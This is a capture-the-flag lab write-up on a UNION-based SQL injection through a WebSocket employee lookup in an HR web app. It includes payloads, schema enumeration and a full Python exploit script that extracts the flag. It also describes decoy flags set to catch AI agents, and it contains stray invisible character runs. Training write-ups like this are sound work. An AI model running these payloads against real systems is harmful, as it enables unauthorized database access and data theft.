CUSTOMMediumWeb

Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup

XESXOR9/10/20264 min read

#web#custom#medium#column_count_matching#decoy_flag_identification#sqlite_master_enumeration#union_based_injection#websocket_sqli

Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: column_count_matching, decoy_flag_identification, sqlite_master_enumeration, union_based_injection, websocket_sqli

Summary

Task: TeamPulse HR platform with WebSocket-based employee lookup vulnerable to SQL injection via unparameterized employeeID field in SQLite. Solution: UNION-based SQLi through WebSocket to enumerate sqlite_master, discover system_config table, and extract the flag while ignoring decoy flags in HTML comments.

Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup — HackAdvisor

Description

TeamPulse is an internal HR and workforce analytics platform developed by PulseWare Solutions. The application provides employee directory management, department overviews, company announcements, and workforce reporting. The platform features a real-time employee lookup system powered by WebSocket connections. The objective is to find and exploit a SQL injection vulnerability in the WebSocket-based employee lookup to extract a hidden flag from the database. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

TeamPulse is an Express.js web application behind nginx/1.25.5 reverse proxy, using SQLite as its database. The app has multiple pages (Dashboard, Directory, Departments, Announcements, Reports) and a real-time employee lookup feature on the Directory page that communicates via WebSocket. The goal is to exploit a SQL injection in the WebSocket employee lookup to extract a hidden flag from the database.

Analysis

Application Reconnaissance

After logging in with user@test.com / password123, the application exposes the following pages: ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

/ — Dashboard
/directory — Employee Directory (with WebSocket lookup)
/departments — Department overview
/announcements — Company announcements
/reports — Workforce reports

WebSocket Protocol

The /directory page loads /js/directory.js which establishes a WebSocket connection to wss://<host>/ws/directory. Messages follow a simple JSON protocol:

 json read-only • copy allowed
{"action": "lookup", "employeeID": "<input>"}

The server responds with employee data in a JSON object containing fields: id, name, email, role, hire_date, salary_band, phone, status, department. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Decoy Flags (Anti-Bot Honeypot)

Every page contains HTML comments with a fake flag:

 html read-only • copy allowed
<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->

These are designed to trick AI agents and automated scanners into reporting a false flag. They were correctly identified and ignored.

SQL Injection Vector

The employeeID parameter is concatenated directly into a SQL query without parameterization, making it vulnerable to classic SQL injection. The backend uses SQLite, which allows UNION SELECT and querying sqlite_master for schema enumeration. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Solution

Step 1: Authentication and WebSocket Connection

 python read-only • copy allowed
import json, ssl, requests, websocket

BASE = "https://<host>.labs.hackadvisor.io"
WS_URL = "wss://<host>.labs.hackadvisor.io/ws/directory"

session = requests.Session()
session.verify = False
session.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False)
cookie = session.cookies.get("connect.sid")

def ws_send(payload):
    ws = websocket.create_connection(
        WS_URL,
        cookie=f"connect.sid={cookie}",
        sslopt={"cert_reqs": ssl.CERT_NONE}
    )
    msg = json.dumps({"action": "lookup", "employeeID": payload})
    ws.send(msg)
    result = ws.recv()
    ws.close()
    return json.loads(result)

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Step 2: Determine Column Count

Tested UNION SELECT with increasing null columns from 1 to 11. The query succeeded at 9 columns, matching the employee table schema (id, name, email, role, hire_date, salary_band, phone, status, department):

 python read-only • copy allowed
for cols in range(1, 12):
    payload = f"0 UNION SELECT {','.join(['null']*cols)}--"
    r = ws_send(payload)
    if r.get('type') != 'error':
        print(f"Column count = {cols}")
        break
# Result: Column count = 9

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Step 3: Enumerate Tables via sqlite_master

 python read-only • copy allowed
payload = "0 UNION SELECT name,type,sql,sql,sql,sql,sql,sql,sql FROM sqlite_master WHERE type='table'--"
r = ws_send(payload)

Found 6 tables:

users — application user accounts
sqlite_sequence — auto-increment tracking
departments — department data
employees — employee directory
announcements — company announcements
system_config — suspicious configuration table (likely contains the flag)

Step 4: Discover system_config Schema

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

 python read-only • copy allowed
payload = "0 UNION SELECT sql,sql,sql,sql,sql,sql,sql,sql,sql FROM sqlite_master WHERE name='system_config'--"
r = ws_send(payload)

Schema: CREATE TABLE system_config (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT UNIQUE NOT NULL, value TEXT NOT NULL)

Step 5: Extract the Flag

The key column name is a reserved SQL keyword, requiring backtick quoting:

 python read-only • copy allowed
payload = "0 UNION SELECT id,`key`,value,value,value,value,value,value,value FROM system_config--"
r = ws_send(payload)

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Result: A row with key='internal_flag' containing the flag value.

Full Exploit Script

 python read-only • copy allowed
#!/usr/bin/env python3
"""WebSocket SQL Injection exploit for TeamPulse — full chain"""

import json
import ssl
import requests
import websocket

BASE = "https://<host>.labs.hackadvisor.io"
WS_URL = "wss://<host>.labs.hackadvisor.io/ws/directory"

# Step 1: Authenticate
session = requests.Session()
session.verify = False
session.post(f"{BASE}/login",
             data={"email": "user@test.com", "password": "password123"},
             allow_redirects=False)
cookie = session.cookies.get("connect.sid")
print(f"[+] Got session cookie: {cookie[:30]}...")
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

def ws_send(payload):
    """Send a lookup request via WebSocket and return the response"""
    ws = websocket.create_connection(
        WS_URL,
        cookie=f"connect.sid={cookie}",
        sslopt={"cert_reqs": ssl.CERT_NONE}
    )
    msg = json.dumps({"action": "lookup", "employeeID": payload})
    ws.send(msg)
    result = ws.recv()
    ws.close()
    return json.loads(result)

# Step 2: Find column count
print("[*] Determining column count...")
for cols in range(1, 12):
    payload = f"0 UNION SELECT {','.join(['null']*cols)}--"
    r = ws_send(payload)
    if r.get('type') != 'error':
        print(f"[+] Column count = {cols}")
        break
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

# Step 3: Enumerate tables
print("[*] Enumerating tables...")
payload = ("0 UNION SELECT group_concat(name,'|||'),null,null,null,"
           "null,null,null,null,null FROM sqlite_master WHERE type='table'--")
r = ws_send(payload)
tables = r['data'][0]['id']
print(f"[+] Tables: {tables}")

# Step 4: Get system_config schema
print("[*] Getting system_config schema...")
payload = ("0 UNION SELECT sql,sql,sql,sql,sql,sql,sql,sql,sql "
           "FROM sqlite_master WHERE name='system_config'--")
r = ws_send(payload)
print(f"[+] Schema: {r['data'][0]['id']}")
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

# Step 5: Extract flag
print("[*] Extracting flag from system_config...")
payload = ("0 UNION SELECT id,`key`,value,value,value,value,"
           "value,value,value FROM system_config--")
r = ws_send(payload)
for row in r['data']:
    print(f"[+] key={row['name']}, value={row['email']}")
    if 'FLAG' in str(row['email']):
        print(f"\n[!] FLAG FOUND: {row['email']}")

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍